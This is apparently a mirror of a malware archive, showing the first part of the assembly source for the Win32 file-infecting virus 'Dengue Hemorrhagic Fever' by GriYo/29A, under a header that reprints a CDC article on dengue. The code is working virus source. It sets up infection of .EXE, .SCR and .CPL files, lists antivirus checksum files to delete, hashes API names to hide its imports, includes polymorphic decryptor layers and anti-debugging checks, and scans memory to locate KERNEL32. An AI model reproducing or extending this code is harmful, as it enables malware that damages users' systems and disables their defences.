mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
7159 lines
216 KiB
NASM
7159 lines
216 KiB
NASM
|
|
;============================================================================
|
|
;
|
|
; Dengue Hemorrhagic Fever
|
|
;
|
|
; BioCoded by GriYo / 29A
|
|
; griyo@bi0.net
|
|
;
|
|
;============================================================================
|
|
;
|
|
; About the biomodel
|
|
; ------------------
|
|
;
|
|
; Dengue Hemorrhagic Fever: The Emergence of a Global Health Problem
|
|
;
|
|
; Dengue and dengue hemorrhagic fever (DHF) are caused by one of four
|
|
;closely related, but antigenically distinct, virus serotypes (DEN-1, DEN-2,
|
|
;DEN-3, and DEN-4), of the genus Flavivirus. Infection with one of these
|
|
;serotypes does not provide cross-protective immunity, so persons living in
|
|
;a dengue-endemic area can have four dengue infections during their
|
|
;lifetimes. Dengue is primarily an urban disease of the tropics, and the
|
|
;viruses that cause it are maintained in a cycle that involves humans and
|
|
;Aedes aegypti, a domestic, day-biting mosquito that prefers to feed on
|
|
;humans. Infection with a dengue virus serotype can produce a spectrum of
|
|
;clinical illness, ranging from a nonspecific viral syndrome to severe and
|
|
;fatal hemorrhagic disease. Important risk factors for DHF include the
|
|
;strain and serotype of the virus involved, as well as the age, immune
|
|
;status, and genetic predisposition of the patient.
|
|
;
|
|
; The first reported epidemics of dengue fever occurred in 1779-1780
|
|
;in Asia, Africa, and North America; the near simultaneous occurrence of
|
|
;outbreaks on three continents indicates that these viruses and their
|
|
;mosquito vector have had a worldwide distribution in the tropics for more
|
|
;than 200 years. During most of this time, dengue fever was considered a
|
|
;benign, nonfatal disease of visitors to the tropics. Generally, there were
|
|
;long intervals (10-40 years) between major epidemics, mainly because the
|
|
;viruses and their mosquito vector could only be transported between
|
|
;population centers by sailing vessels.
|
|
;
|
|
; A global pandemic of dengue begun in Southeast Asia after World
|
|
;War II and has intensified during the last 15 years. Epidemics caused by
|
|
;multiple serotypes (hyperendemicity) are more frequent, the geographic
|
|
;distribution of dengue viruses has expanded, and DHF has emerged in the
|
|
;Pacific region and the Americas. In Southeast Asia, epidemic DHF
|
|
;first appeared in the 1950s, but by 1975 it had become a leading cause of
|
|
;hospitalization and death among children in many countries. In the 1980s,
|
|
;DHF began a second expansion into Asia when Sri Lanka, India, and the
|
|
;Maldive Islands had their first major DHF epidemics; Pakistan first
|
|
;reported an epidemic of dengue fever in 1994. The recent epidemics in
|
|
;Sri Lanka and India were associated with multiple dengue virus serotypes,
|
|
;but DEN-3 was predominant and was genetically distinct from DEN-3 viruses
|
|
;previously isolated from infected persons in those countries.
|
|
;
|
|
; After an absence of 35 years, epidemic dengue fever occurred in
|
|
;both Taiwan and the People's Republic of China in the 1980s. The People's
|
|
;Republic of China had a series of epidemics caused by all four serotypes,
|
|
;and its first major epidemic of DHF, caused by DEN-2, was reported on
|
|
;Hainan Island in 1985. Singapore also had a resurgence of dengue/DHF
|
|
;from 1990 to 1994 after a successful control program had prevented
|
|
;significant transmission for over 20 years. In other countries of Asia
|
|
;where DHF is endemic, the epidemics have become progressively larger in the
|
|
;last 15 years.
|
|
;
|
|
; In the Pacific, dengue viruses were reintroduced in the early 1970s
|
|
;after an absence of more than 25 years. Epidemic activity caused by all
|
|
;four serotypes has intensified in recent years with major epidemics of DHF
|
|
;on several islands.
|
|
;
|
|
; Despite poor surveillance for dengue in Africa, we know that
|
|
;epidemic dengue fever caused by all four serotypes has increased
|
|
;dramatically since 1980. Most activity has occurred in East Africa, and
|
|
;major epidemics were reported for the first time in the Seychelles (1977),
|
|
;Kenya (1982, DEN-2), Mozambique (1985, DEN-3), Djibouti (1991-92, DEN-2),
|
|
;Somalia (1982, 1993, DEN-2), and Saudi Arabia (1994, DEN-2) (CDC,
|
|
;unpublished data). Epidemic DHF has been reported in neither Africa nor the
|
|
;Middle East, but sporadic cases clinically compatible with DHF have been
|
|
;reported from Mozambique, Djibouti, and Saudi Arabia (CDC, unpublished
|
|
;data).
|
|
;
|
|
; The emergence of dengue/DHF as a major public health problem has
|
|
;been most dramatic in the American region. In an effort to prevent urban
|
|
;yellow fever, which is also transmitted by Ae. aegypti, the Pan American
|
|
;Health Organization organized a campaign that eradicated Ae. aegypti from
|
|
;most Central and South American countries in the 1950s and 1960s. As a
|
|
;result, epidemic dengue occurred only sporadically in some Caribbean
|
|
;islands during this period. The Ae. aegypti eradication program, which was
|
|
;officially discontinued in the United States in 1970, gradually eroded
|
|
;elsewhere, and this species began to reinfest countries from which it had
|
|
;been eradicated. In 1995, the geographic distribution of Ae. aegypti was
|
|
;similar to its distribution before the eradication program.
|
|
;
|
|
; In 1970, only DEN-2 virus was present in the Americas, although
|
|
;DEN-3 may have had a focal distribution in Colombia and Puerto Rico. In
|
|
;1977, DEN-1 was introduced and caused major epidemics throughout the
|
|
;region over a 16-year period. DEN-4 was introduced in 1981 and caused
|
|
;similar widespread epidemics. Also in 1981, a new strain of DEN-2 from
|
|
;Southeast Asia caused the first major DHF epidemic in the Americas (Cuba).
|
|
;This strain has spread rapidly throughout the region and has caused
|
|
;outbreaks of DHF in Venezuela, Colombia, Brazil, French Guiana, Suriname,
|
|
;and Puerto Rico. By 1995, 14 countries in the American region had reported
|
|
;confirmed DHF cases, and DHF is endemic in many of these countries.
|
|
;
|
|
; DEN-3 virus recently reappeared in the Americas after an absence of
|
|
;16 years. This serotype was first detected in association with a 1994
|
|
;dengue/DHF epidemic in Nicaragua. Almost simultaneously, DEN-3 was
|
|
;confirmed in Panama and, in early 1995, in Costa Rica (CDC, unpublished
|
|
;data). In Nicaragua, considerable numbers of DHF were associated with the
|
|
;epidemic, which was apparently caused by DEN-3. In Panama and Costa Rica,
|
|
;the cases were classic dengue fever.
|
|
;
|
|
; Viral envelope gene sequence data from the DEN-3 strains isolated
|
|
;from Panama and Nicaragua have shown that this new American DEN-3 virus
|
|
;strain was likely a recent introduction from Asia since it is genetically
|
|
;distinct from the DEN-3 strain found previously in the Americas, but is
|
|
;identical to the DEN-3 virus serotype that caused major DHF epidemics in
|
|
;Sri Lanka and India in the 1980s (R. Lanciotti; unpublished data). The new
|
|
;DEN-3 strain, and the susceptibility of the population in the American
|
|
;tropics to it, suggests that DEN-3 will spread rapidly throughout the
|
|
;region and likely will cause major epidemics of dengue/DHF in the near
|
|
;future.
|
|
;
|
|
; In 1995, dengue is the most important mosquito-borne viral disease
|
|
;affecting humans; its global distribution is comparable to that of malaria,
|
|
;and an estimated 2.5 billion people are living in areas at risk for epidemic
|
|
;transmission. Each year, tens of millions of cases of dengue fever occur
|
|
;and, depending on the year, up to hundreds of thousands of cases of DHF. The
|
|
;case-fatality rate of DHF in most countries is about 5%: most fatal cases
|
|
;are among children.
|
|
;
|
|
; There is a small, but significant, risk for dengue outbreaks in the
|
|
;continental United States. Two competent mosquito vectors, Ae. aegypti and
|
|
;Aedes albopictus, are present and, under certain circumstances, each could
|
|
;transmit dengue viruses. This type of transmission has been detected twice
|
|
;in the last 15 years in south Texas (1980 and 1986) and has been associated
|
|
;with dengue epidemics in northern Mexico. Moreover, numerous viruses are
|
|
;introduced annually by travelers returning from tropical areas where dengue
|
|
;viruses are endemic. From 1977 to 1994, a total of 2,248 suspected cases of
|
|
;imported dengue were reported in the United States (CDC, unpublished data).
|
|
;Although some specimens collected were not adequate for laboratory
|
|
;diagnosis, preliminary data indicate that 481 (21%) cases were confirmed as
|
|
;dengue (CDC, unpublished data). Many more cases probably go unreported each
|
|
;year because surveillance in the United States is passive and relies on
|
|
;physicians to recognize the disease, inquire about the patient's travel
|
|
;history, obtain proper diagnostic samples, and report the case. These data
|
|
;underscore the fact that southern Texas and the southeastern United States,
|
|
;where Ae. aegypti is found, are at risk for dengue transmission and
|
|
;sporadic outbreaks.
|
|
;
|
|
; The reasons for this dramatic global emergence of dengue/DHF as a
|
|
;major public health problem are complex and not well understood. However,
|
|
;several important factors can be identified. First, effective mosquito
|
|
;control is virtually nonexistent in most dengue-endemic countries.
|
|
;Considerable emphasis for the past 20 years has been placed on
|
|
;ultra-low-volume insecticide space sprays for adult mosquito control, a
|
|
;relatively ineffective approach for controlling Ae. aegypti. Second, major
|
|
;global demographic changes have occurred, the most important of which have
|
|
;been uncontrolled urbanization and concurrent population growth. These
|
|
;demographic changes have resulted in substandard housing and inadequate
|
|
;water, sewer, and waste management systems, all of which increase
|
|
;Ae. aegypti population densities and facilitate transmission of
|
|
;Ae. aegypti-borne disease. Third, increased travel by airplane provides
|
|
;the ideal mechanism for transporting dengue viruses between population
|
|
;centers of the tropics, resulting in a constant exchange of dengue viruses
|
|
;and other pathogens. Lastly, in most countries the public health
|
|
;infrastructure has deteriorated. Limited financial and human resources and
|
|
;competing priorities have resulted in a "crisis mentality" with emphasis
|
|
;on implementing so-called emergency control methods in response to
|
|
;epidemics rather than on developing programs to prevent epidemic
|
|
;transmission. This approach has been particularly detrimental to dengue
|
|
;control because, in most countries, surveillance is very inadequate; the
|
|
;system to detect increased transmission normally relies on reports by local
|
|
;physicians who often do not consider dengue in their diagnoses. As a result,
|
|
;an epidemic has often reached or passed the peak of transmission before it
|
|
;is detected.
|
|
;
|
|
; No dengue vaccine is available. Recently, however, attenuated
|
|
;candidate vaccine viruses have been developed in Thailand. These vaccines
|
|
;are safe and immunogenic when given in various formulations, including a
|
|
;quadrivalent vaccine for all four dengue virus serotypes. Unfortunately,
|
|
;efficacy trials in human volunteers have yet to be initiated. Research is
|
|
;also being conducted to develop second-generation recombinant vaccine
|
|
;viruses; the Thailand attenuated viruses are used as a template. However,
|
|
;an effective dengue vaccine for public use will not be available for 5 to
|
|
;10 years.
|
|
;
|
|
; Prospects for reversing the recent trend of increased epidemic
|
|
;activity and geographic expansion of dengue are not promising. New dengue
|
|
;virus strains and serotypes will likely continue to be introduced into many
|
|
;areas where the population densities of Ae. aegypti are at high levels. With
|
|
;no new mosquito control technology available, in recent years public health
|
|
;authorities have emphasized disease prevention and mosquito control through
|
|
;community efforts to reduce larval breeding sources. Although this approach
|
|
;will probably be effective in the long run, it is unlikely to impact disease
|
|
;transmission in the near future. We must, therefore, develop improved,
|
|
;proactive, laboratory-based surveillance systems that can provide early
|
|
;warning of an impending dengue epidemic. At the very least, surveillance
|
|
;results can alert the public to take action and physicians to diagnose and
|
|
;properly treat dengue/DHF cases.
|
|
;
|
|
;Duane J. Gubler and Gary G. Clark
|
|
;National Center for Infectious Diseases
|
|
;Centers for Disease Control and Prevention
|
|
;Fort Collins, Colorado, and San Juan, Puerto Rico, USA
|
|
;
|
|
;============================================================================
|
|
|
|
.386P
|
|
locals
|
|
jumps
|
|
.model flat,STDCALL
|
|
|
|
include Win32api.inc
|
|
include Useful.inc
|
|
include Mz.inc
|
|
include Pe.inc
|
|
|
|
extrn GetModuleHandleA:NEAR
|
|
extrn Sleep:NEAR
|
|
|
|
NUMBER_OF_POLY_LAYERS equ 04h ; Max number of poly decryptors
|
|
|
|
;============================================================================
|
|
;Fake host used for virus 1st generation
|
|
;============================================================================
|
|
|
|
_TEXT segment dword use32 public 'CODE'
|
|
|
|
;============================================================
|
|
;We need the CRC lookup table for the next steps
|
|
;============================================================
|
|
|
|
host_code: xor ebp,ebp
|
|
call make_crc_tbl
|
|
|
|
;============================================================
|
|
;Save the CRC32 of 'KERNEL32.DLL' inside virus body
|
|
;============================================================
|
|
|
|
mov esi,offset g1_szKernel32
|
|
call get_str_crc32
|
|
mov dword ptr [CrcKernel32],edx
|
|
|
|
;============================================================
|
|
;Save the CRC32 of 'GetProcAddress' inside virus body
|
|
;============================================================
|
|
|
|
mov esi,offset g1_szGetProcAddr
|
|
call get_str_crc32
|
|
mov dword ptr [CrcGetProcAddr],edx
|
|
|
|
;============================================================
|
|
;Save the CRC32 of infectable file extensions
|
|
;============================================================
|
|
|
|
mov esi,offset g1_szEXE
|
|
call get_str_crc32
|
|
mov dword ptr [CRC32_szEXE],edx
|
|
|
|
mov esi,offset g1_szSCR
|
|
call get_str_crc32
|
|
mov dword ptr [CRC32_szSCR],edx
|
|
|
|
mov esi,offset g1_szCPL
|
|
call get_str_crc32
|
|
mov dword ptr [CRC32_szCPL],edx
|
|
|
|
;============================================================
|
|
;Save the CRC32 of some AV files
|
|
;============================================================
|
|
|
|
mov ecx,NumberOfAV
|
|
mov esi,offset g1_av_names
|
|
mov edi,offset TblCRC32AV
|
|
call save_crc_names
|
|
|
|
;============================================================
|
|
;Save the CRC32 of EXPLORER.EXE
|
|
;============================================================
|
|
|
|
mov esi,offset g1_szEXPLORER
|
|
call get_str_crc32
|
|
mov dword ptr [CRCszEXPLORER],edx
|
|
|
|
;============================================================
|
|
;Save the CRC32 of 'USER32.DLL'
|
|
;============================================================
|
|
|
|
mov esi,offset g1_szUSER32
|
|
call get_str_crc32
|
|
mov dword ptr [CRCszUSER32],edx
|
|
|
|
;============================================================
|
|
;Save the CRC32 of 'PSAPI.DLL'
|
|
;============================================================
|
|
|
|
mov esi,offset g1_szPSAPI
|
|
call get_str_crc32
|
|
mov dword ptr [CRCszPSAPI],edx
|
|
|
|
;============================================================
|
|
;Save the CRC32 of 'IMAGEHLP.DLL'
|
|
;============================================================
|
|
|
|
mov esi,offset g1_szIMGHLP
|
|
call get_str_crc32
|
|
mov dword ptr [CRCszIMGHLP],edx
|
|
|
|
;============================================================
|
|
;Save the CRC32 of 'SFC.DLL'
|
|
;============================================================
|
|
|
|
mov esi,offset g1_szSFC
|
|
call get_str_crc32
|
|
mov dword ptr [CRCszSFC],edx
|
|
|
|
;============================================================
|
|
;Get CRC's of needed API's and save them inside virus body
|
|
;Lets start with KERNEL32 API names
|
|
;============================================================
|
|
|
|
mov ecx,NumK32Apis
|
|
mov esi,offset namesK32Apis
|
|
mov edi,offset CRC32K32Apis
|
|
call save_crc_names
|
|
|
|
;============================================================
|
|
;This are some special handled APIs
|
|
;============================================================
|
|
|
|
mov ecx,00000001h
|
|
mov esi,offset name_IsDebuggerPresent
|
|
mov edi,offset CRC32_IsDebugPr
|
|
call save_crc_names
|
|
|
|
;============================================================
|
|
;Get TOOLHELP APIs (Windows 9x only)
|
|
;============================================================
|
|
|
|
mov ecx,NumTOOLHELPApis
|
|
mov esi,offset namesTOOLHELPApis
|
|
mov edi,offset CRC32TOOLHELPApis
|
|
call save_crc_names
|
|
|
|
;============================================================
|
|
;Get PSAPI.DLL APIs (Windows Nt & Windows 2000 only)
|
|
;============================================================
|
|
|
|
mov ecx,NumPSAPIApis
|
|
mov esi,offset namesPSAPIApis
|
|
mov edi,offset CRC32PSAPIApis
|
|
call save_crc_names
|
|
|
|
;============================================================
|
|
;Get API used to compute image checksum
|
|
;============================================================
|
|
|
|
mov ecx,NumIMGHLPApis
|
|
mov esi,offset namesIMGHLPApis
|
|
mov edi,offset CRC32IMGHLPApis
|
|
call save_crc_names
|
|
|
|
;============================================================
|
|
;Get API used to check for Windows2000 System File Protection
|
|
;============================================================
|
|
|
|
mov ecx,NumSFCApis
|
|
mov esi,offset namesSFCApis
|
|
mov edi,offset CRC32SFCApis
|
|
call save_crc_names
|
|
|
|
;============================================================
|
|
;Get CRC32 of USER32 API names ( Ansi version )
|
|
;============================================================
|
|
|
|
mov ecx,NumUSER32Apis
|
|
mov esi,offset namesUSER32Apisw9x
|
|
mov edi,offset CRC32USER32Apisw9x
|
|
call save_crc_names
|
|
|
|
;============================================================
|
|
;Get CRC32 of USER32 API names ( Wide version )
|
|
;============================================================
|
|
|
|
mov ecx,NumUSER32Apis
|
|
mov esi,offset namesUSER32Apiswnt
|
|
mov edi,offset CRC32USER32Apiswnt
|
|
call save_crc_names
|
|
|
|
;============================================================
|
|
;Build the do-not-infect-file-by-name CRC32 table
|
|
;============================================================
|
|
|
|
mov ecx,avoid_num
|
|
mov esi,offset g1_avoid_files
|
|
mov edi,offset avoid_tbl
|
|
call save_crc_names
|
|
|
|
;============================================================
|
|
;Get KERNEL32.DLL module handle
|
|
;============================================================
|
|
|
|
push offset g1_szKernel32
|
|
call GetModuleHandleA
|
|
or eax,eax
|
|
jz out_1st_gen
|
|
mov ebx,eax
|
|
xor ebp,ebp
|
|
|
|
db 05h dup (90h)
|
|
|
|
call get1st_end
|
|
|
|
db 05h dup (90h)
|
|
|
|
;============================================================
|
|
;Let the 1st generation host running
|
|
;============================================================
|
|
|
|
out_1st_gen: push 0FFFFFFFFh
|
|
call Sleep
|
|
|
|
jmp out_1st_gen ;Never executed, but i dont want to remove it
|
|
;anyway, this wont take part of the main
|
|
;virus body...
|
|
|
|
;============================================================
|
|
;Ready to jump into main virus body !!!!
|
|
;============================================================
|
|
|
|
get1st_end: push eax ; Space for ebx
|
|
push eax ; Space for esi
|
|
push eax ; Space for edi
|
|
push eax ; Space for ebp
|
|
|
|
xor ebp,ebp
|
|
jmp entry_1st_gen
|
|
|
|
;============================================================
|
|
;Routine that converts API names in CRC32 values
|
|
;============================================================
|
|
|
|
save_crc_names: cld
|
|
get_g1_crc: push ecx
|
|
lodsd
|
|
push esi
|
|
mov esi,eax
|
|
call get_str_crc32
|
|
mov eax,edx
|
|
stosd
|
|
pop esi
|
|
pop ecx
|
|
loop get_g1_crc
|
|
ret
|
|
|
|
_TEXT ends
|
|
|
|
;============================================================================
|
|
;Here comes the rest of the sections in virus 1st generation
|
|
;============================================================================
|
|
|
|
_DATA segment dword use32 public 'DATA'
|
|
|
|
;============================================================
|
|
;Used to locate KERNEL32 base address on 1st generation
|
|
;============================================================
|
|
|
|
g1_szKernel32 db 'KERNEL32.DLL',00h
|
|
g1_szGetProcAddr db 'GetProcAddress',00h
|
|
|
|
;============================================================
|
|
;Used to check if file extension is infectable
|
|
;============================================================
|
|
|
|
g1_szEXE db '.EXE',00h
|
|
g1_szSCR db '.SCR',00h
|
|
g1_szCPL db '.CPL',00h
|
|
|
|
;============================================================
|
|
;This virus use CRC32 instead of DLL names !!!!
|
|
;
|
|
;LoadLibrary requires the DLL name as parameter... but
|
|
;we can find the DLL name by browsing SYSTEM32 directory
|
|
;for a file whose CRC32 matches a given one
|
|
;============================================================
|
|
|
|
g1_szEXPLORER db 'EXPLORER.EXE',00h
|
|
g1_szUSER32 db 'USER32.DLL',00h
|
|
g1_szPSAPI db 'PSAPI.DLL',00h
|
|
g1_szIMGHLP db 'IMAGEHLP.DLL',00h
|
|
g1_szSFC db 'SFC.DLL',00h
|
|
|
|
;============================================================
|
|
;Do not infect files with this character combinations on
|
|
;their names
|
|
;============================================================
|
|
|
|
g1_avoid_files equ $
|
|
|
|
dd offset g1_avoid_00
|
|
dd offset g1_avoid_01
|
|
dd offset g1_avoid_02
|
|
dd offset g1_avoid_03
|
|
dd offset g1_avoid_04
|
|
dd offset g1_avoid_05
|
|
dd offset g1_avoid_06
|
|
dd offset g1_avoid_07
|
|
dd offset g1_avoid_08
|
|
dd offset g1_avoid_09
|
|
dd offset g1_avoid_0A
|
|
dd offset g1_avoid_0B
|
|
dd offset g1_avoid_0C
|
|
dd offset g1_avoid_0D
|
|
dd offset g1_avoid_0E
|
|
dd offset g1_avoid_0F
|
|
dd offset g1_avoid_10
|
|
dd offset g1_avoid_11
|
|
dd offset g1_avoid_12
|
|
dd offset g1_avoid_13
|
|
dd offset g1_avoid_14
|
|
dd offset g1_avoid_15
|
|
dd offset g1_avoid_16
|
|
dd offset g1_avoid_17
|
|
dd offset g1_avoid_18
|
|
|
|
avoid_num equ ($-g1_avoid_files)/04h
|
|
|
|
g1_avoid_00 db 'DR',00h
|
|
g1_avoid_01 db 'PA',00h
|
|
g1_avoid_02 db 'RO',00h
|
|
g1_avoid_03 db 'VI',00h
|
|
g1_avoid_04 db 'AV',00h
|
|
g1_avoid_05 db 'TO',00h
|
|
g1_avoid_06 db 'CA',00h
|
|
g1_avoid_07 db 'IN',00h
|
|
g1_avoid_08 db 'MS',00h
|
|
g1_avoid_09 db 'SR',00h
|
|
g1_avoid_0A db 'SP',00h
|
|
g1_avoid_0B db 'RP',00h
|
|
g1_avoid_0C db 'PR',00h
|
|
g1_avoid_0D db 'NO',00h
|
|
g1_avoid_0E db 'CE',00h
|
|
g1_avoid_0F db 'LE',00h
|
|
g1_avoid_10 db 'MO',00h
|
|
g1_avoid_11 db 'SM',00h
|
|
g1_avoid_12 db 'DD',00h
|
|
g1_avoid_13 db 'SO',00h
|
|
g1_avoid_14 db 'SQ',00h
|
|
g1_avoid_15 db 'EX',00h
|
|
g1_avoid_16 db 'IE',00h
|
|
g1_avoid_17 db 'CM',00h
|
|
g1_avoid_18 db 'CO',00h
|
|
|
|
;============================================================
|
|
;Delete this AV files
|
|
;============================================================
|
|
|
|
g1_av_names equ $
|
|
|
|
dd offset g1_delete_00
|
|
dd offset g1_delete_01
|
|
dd offset g1_delete_02
|
|
dd offset g1_delete_03
|
|
dd offset g1_delete_04
|
|
|
|
NumberOfAV equ ($-g1_av_names)/04h
|
|
|
|
g1_delete_00 db 'AVP.CRC',00h
|
|
g1_delete_01 db 'ANTI-VIR.DAT',00h
|
|
g1_delete_02 db 'CHKLIST.CPS',00h
|
|
g1_delete_03 db 'CHKLIST.MS',00h
|
|
g1_delete_04 db 'IVP.NTZ',00h
|
|
|
|
;============================================================
|
|
;KERNEL32.DLL API names
|
|
;
|
|
;Note that this tables and strings are not included into the
|
|
;virus body after 1st generation. Only CRC32 values
|
|
;============================================================
|
|
|
|
namesK32Apis equ $
|
|
|
|
dd offset g1_CreateFileA
|
|
dd offset g1_CreateFileMappingA
|
|
dd offset g1_CreateProcessA
|
|
dd offset g1_CreateThread
|
|
dd offset g1_CloseHandle
|
|
dd offset g1_DeleteFileA
|
|
dd offset g1_ExitThread
|
|
dd offset g1_FindClose
|
|
dd offset g1_FindFirstFileA
|
|
dd offset g1_FindNextFileA
|
|
dd offset g1_FreeLibrary
|
|
dd offset g1_GetComputerNameA
|
|
dd offset g1_GetCurrentProcess
|
|
dd offset g1_GetDriveTypeA
|
|
dd offset g1_GetFileAttributesA
|
|
dd offset g1_GetLastError
|
|
dd offset g1_GetLocalTime
|
|
dd offset g1_GetLogicalDriveStringsA
|
|
dd offset g1_GetSystemDirectoryA
|
|
dd offset g1_GetVersionEx
|
|
dd offset g1_LoadLibraryA
|
|
dd offset g1_MapViewOfFile
|
|
dd offset g1_OpenFileMappingA
|
|
dd offset g1_OpenProcess
|
|
dd offset g1_ReadProcessMemory
|
|
dd offset g1_SetEndOfFile
|
|
dd offset g1_SetFileAttributesA
|
|
dd offset g1_SetFilePointer
|
|
dd offset g1_SetFileTime
|
|
dd offset g1_Sleep
|
|
dd offset g1_UnmapViewOfFile
|
|
dd offset g1_WriteProcessMemory
|
|
|
|
g1_CreateFileA db 'CreateFileA',00h
|
|
g1_CreateFileMappingA db 'CreateFileMappingA',00h
|
|
g1_CreateProcessA db 'CreateProcessA',00h
|
|
g1_CreateThread db 'CreateThread',00h
|
|
g1_CloseHandle db 'CloseHandle',00h
|
|
g1_DeleteFileA db 'DeleteFileA',00h
|
|
g1_ExitThread db 'ExitThread',00h
|
|
g1_FindClose db 'FindClose',00h
|
|
g1_FindFirstFileA db 'FindFirstFileA',00h
|
|
g1_FindNextFileA db 'FindNextFileA',00h
|
|
g1_FreeLibrary db 'FreeLibrary',00h
|
|
g1_GetComputerNameA db 'GetComputerNameA',00h
|
|
g1_GetCurrentProcess db 'GetCurrentProcess',00h
|
|
g1_GetDriveTypeA db 'GetDriveTypeA',00h
|
|
g1_GetFileAttributesA db 'GetFileAttributesA',00h
|
|
g1_GetLastError db 'GetLastError',00h
|
|
g1_GetLocalTime db 'GetLocalTime',00h
|
|
g1_GetLogicalDriveStringsA db 'GetLogicalDriveStringsA',00h
|
|
g1_GetSystemDirectoryA db 'GetSystemDirectoryA',00h
|
|
g1_LoadLibraryA db 'LoadLibraryA',00h
|
|
g1_GetVersionEx db 'GetVersionExA',00h
|
|
g1_MapViewOfFile db 'MapViewOfFile',00h
|
|
g1_OpenFileMappingA db 'OpenFileMappingA',00h
|
|
g1_OpenProcess db 'OpenProcess',00h
|
|
g1_ReadProcessMemory db 'ReadProcessMemory',00h
|
|
g1_SetEndOfFile db 'SetEndOfFile',00h
|
|
g1_SetFileAttributesA db 'SetFileAttributesA',00h
|
|
g1_SetFilePointer db 'SetFilePointer',00h
|
|
g1_SetFileTime db 'SetFileTime',00h
|
|
g1_Sleep db 'Sleep',00h
|
|
g1_UnmapViewOfFile db 'UnmapViewOfFile',00h
|
|
g1_WriteProcessMemory db 'WriteProcessMemory',00h
|
|
|
|
;============================================================
|
|
;Special KERNEL32 APIs
|
|
;============================================================
|
|
|
|
name_IsDebuggerPresent dd offset g1_IsDebuggerPresent
|
|
|
|
g1_IsDebuggerPresent db 'IsDebuggerPresent',00h
|
|
|
|
;============================================================
|
|
;ToolHelp APIs
|
|
;============================================================
|
|
|
|
namesTOOLHELPApis equ $
|
|
|
|
dd offset g1_CreateToolhelp32Snapshot
|
|
dd offset g1_Process32First
|
|
dd offset g1_Process32Next
|
|
dd offset g1_Module32First
|
|
dd offset g1_Module32Next
|
|
|
|
g1_CreateToolhelp32Snapshot db 'CreateToolhelp32Snapshot',00h
|
|
g1_Process32First db 'Process32First',00h
|
|
g1_Process32Next db 'Process32Next',00h
|
|
g1_Module32First db 'Module32First',00h
|
|
g1_Module32Next db 'Module32Next',00h
|
|
|
|
;============================================================
|
|
;PSAPI.DLL API names
|
|
;============================================================
|
|
|
|
namesPSAPIApis equ $
|
|
|
|
dd offset g1_EnumProcessModules
|
|
dd offset g1_EnumProcesses
|
|
dd offset g1_GetModuleBaseNameA
|
|
dd offset g1_GetModuleInformation
|
|
|
|
g1_EnumProcessModules db 'EnumProcessModules',00h
|
|
g1_EnumProcesses db 'EnumProcesses',00h
|
|
g1_GetModuleBaseNameA db 'GetModuleBaseNameA',00h
|
|
g1_GetModuleInformation db 'GetModuleInformation',00h
|
|
|
|
;============================================================
|
|
;SFC.DLL API names
|
|
;============================================================
|
|
|
|
namesSFCApis equ $
|
|
|
|
dd offset g1_SfcIsFileProtected
|
|
|
|
g1_SfcIsFileProtected db 'SfcIsFileProtected',00h
|
|
|
|
;============================================================
|
|
;IMAGEHLP.DLL API names
|
|
;============================================================
|
|
|
|
namesIMGHLPApis equ $
|
|
|
|
dd offset g1_CheckSumMappedFile
|
|
|
|
g1_CheckSumMappedFile db 'CheckSumMappedFile',00h
|
|
|
|
;============================================================
|
|
;USER32.DLL API names (Ansi version)
|
|
;============================================================
|
|
|
|
namesUSER32Apisw9x equ $
|
|
|
|
dd offset g1w9x_DefWindowProc
|
|
|
|
g1w9x_DefWindowProc db 'DefWindowProcA',00h
|
|
|
|
;============================================================
|
|
;USER32.DLL API names (Wide version)
|
|
;============================================================
|
|
|
|
namesUSER32Apiswnt equ $
|
|
|
|
dd offset g1wnt_DefWindowProc
|
|
|
|
g1wnt_DefWindowProc db 'DefWindowProcW',00h
|
|
|
|
_DATA ends
|
|
|
|
_BSS segment dword use32 public 'BSS'
|
|
|
|
_BSS ends
|
|
|
|
;============================================================================
|
|
;Viral section
|
|
;
|
|
;You have to understand that all the above-mentioned is not part of the virus
|
|
;This means that the text strings and other information previous to this
|
|
;point will be discarded
|
|
;============================================================================
|
|
|
|
virseg segment dword use32 public 'Dengue'
|
|
|
|
;============================================================
|
|
;Get delta offset in ebp
|
|
;============================================================
|
|
|
|
viro_sys: call HostDelta
|
|
HostDelta: pop ebp
|
|
sub ebp,offset HostDelta
|
|
|
|
;============================================================
|
|
;Create CRC32 lookup table... This virus uses CRC32 in lots
|
|
;of places along its code... Precalculated tables helps to
|
|
;really speed-up virus activitie
|
|
;============================================================
|
|
|
|
call make_crc_tbl
|
|
|
|
;============================================================
|
|
;Check CRC32 of main virus body
|
|
;
|
|
; esi -> Ptr to buffer
|
|
; ecx -> Buffer size
|
|
;============================================================
|
|
|
|
mov ecx,SizeOfProtect
|
|
lea esi,dword ptr [ebp+CRC_protected]
|
|
call get_crc32
|
|
|
|
;============================================================
|
|
;Checksum matches?
|
|
;============================================================
|
|
|
|
db 0B8h ; mov eax,imm
|
|
ViralChecksum dd 00000000h
|
|
|
|
cmp eax,edx
|
|
jne critical_error
|
|
|
|
CRC_protected equ $
|
|
|
|
;============================================================
|
|
;Scan system memory looking for KERNEL32.DLL
|
|
;============================================================
|
|
|
|
KernelScanning: pushad
|
|
fK32_try_01: mov eax,080000101h
|
|
call IGetNtBaseAddr
|
|
jecxz fK32_try_02
|
|
jmp short kernel_found
|
|
fK32_try_02: mov eax,0C0000101h
|
|
call IGetNtBaseAddr
|
|
jecxz fK32_try_03
|
|
jmp short kernel_found
|
|
fK32_try_03: xor eax,eax
|
|
call IGetNtBaseAddr
|
|
kernel_found: jecxz critical_error
|
|
mov dword ptr [esp.Pushad_ebx],ecx
|
|
popad
|
|
|
|
;============================================================
|
|
;This is the entry-point for 1st generation
|
|
;Now EBX points to KERNEL32.DLL base address
|
|
;============================================================
|
|
|
|
entry_1st_gen: mov dword ptr [ebp+hKERNEL32],ebx
|
|
|
|
;============================================================
|
|
;Search for GetProcAddress entry-point
|
|
;============================================================
|
|
|
|
call GetGetProcAddr
|
|
jecxz critical_error
|
|
mov dword ptr [ebp+a_GetProcAddress],ecx
|
|
|
|
;============================================================
|
|
;Get KERNEL32 API addresses
|
|
;============================================================
|
|
|
|
mov ecx,NumK32Apis
|
|
lea esi,dword ptr [ebp+CRC32K32Apis]
|
|
lea edi,dword ptr [ebp+epK32Apis]
|
|
call get_APIs
|
|
jecxz RestoreHost
|
|
|
|
;============================================================
|
|
;Everything have to work, but if something goes wrong this
|
|
;will halt the process
|
|
;============================================================
|
|
|
|
critical_error: jmp critical_error
|
|
|
|
;============================================================
|
|
;Restore host code
|
|
;
|
|
;Make the return address point to the instruction which
|
|
;made the call
|
|
;============================================================
|
|
|
|
